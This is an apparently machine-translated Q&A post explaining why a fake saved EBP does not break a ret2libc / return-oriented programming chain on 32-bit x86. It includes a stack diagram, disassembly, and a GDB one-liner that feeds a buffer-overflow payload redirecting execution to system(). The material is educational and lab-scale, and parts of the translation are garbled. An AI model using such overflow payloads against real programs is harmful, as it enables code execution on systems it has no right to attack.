c-使用任意EBP的带有参数的面向返回的编程



我一直在读这篇关于"面向返回编程"的文章,我对中的"调用参数"部分有一个问题

我所理解的是,我们需要一个正确格式的堆栈。然后返回我们不在乎的地址。他们这样设置堆栈:

| 0x8048580 <not_used>             |
| 0x43434343 <fake return address> |
| 0x8048360 <address of system>    |
| 0x42424242 <fake old %ebp>       |
| 0x41414141 ...                   |
|   ... (0x6c bytes of 'A's)       |
|   ... 0x41414141                 |

其中地址0x8048360是在损坏的函数完成后跳转到的地址,地址0x8048580是一个参数。

我不明白的是,我们怎么可能有一个假的EBP地址。我的理解是,堆栈上的EBP地址在从函数返回之前弹出,然后EBP用于访问参数和局部变量。如果我们把假地址放在堆栈上,system函数不是会使用这个假EBP地址来访问它的参数而不成功吗?

"system"函数会不会使用这个伪造的EBP地址访问它的参数而不成功?如果我们把假地址放在堆栈上,"系统"函数不是会使用这个假EBP地址来访问它的参数而不成功吗?

否。如果覆盖EBP,然后真的从函数返回给调用者,就会发生这种情况。由于您也覆盖了返回地址,因此您实际上从未返回到调用者,而是输入system。返回system时会发生什么:

0x0804847a <+22>: ...    ; Here %ebp is still valid.
0x0804847f <+27>: leave  ; Same as: mov %ebp, %esp; pop %ebp
0x08048480 <+28>: ret    ;          %ebp becomes invalid, but %esp is still valid.
|   
v
0x08048360 <+0>:  push   %ebp       ; Push the invalid value.
0x08048361 <+1>:  mov    %esp,%ebp  ; Move %esp (valid) into %ebp ==> %ebp is now valid again.

这就是为什么你引用的文章说"假EBP",因为你并不真正关心它的价值。只要你的函数没有真正返回给调用者,你就可以了,你的ROP链将毫无问题地继续,因为你跳转到的每个函数都会有一个序言,就像上面的那个一样。

你可以通过在GDB下启动你的程序来测试这一点,如下所示:

$ gdb ./program
(gdb) break *0x08048480     # address of the 'ret' instruction
(gdb) run <<< "$(python -c 'print "A"*0x6c + "BBBB" + "x60x83x04x08" + "CCCC" + "x80x85x04x08"')"

然后,当您到达断点时,使用disassemble $eip命令查看您所在的位置,然后继续使用si(单步指令(,并使用info registers查看每条指令后的寄存器值。

最新更新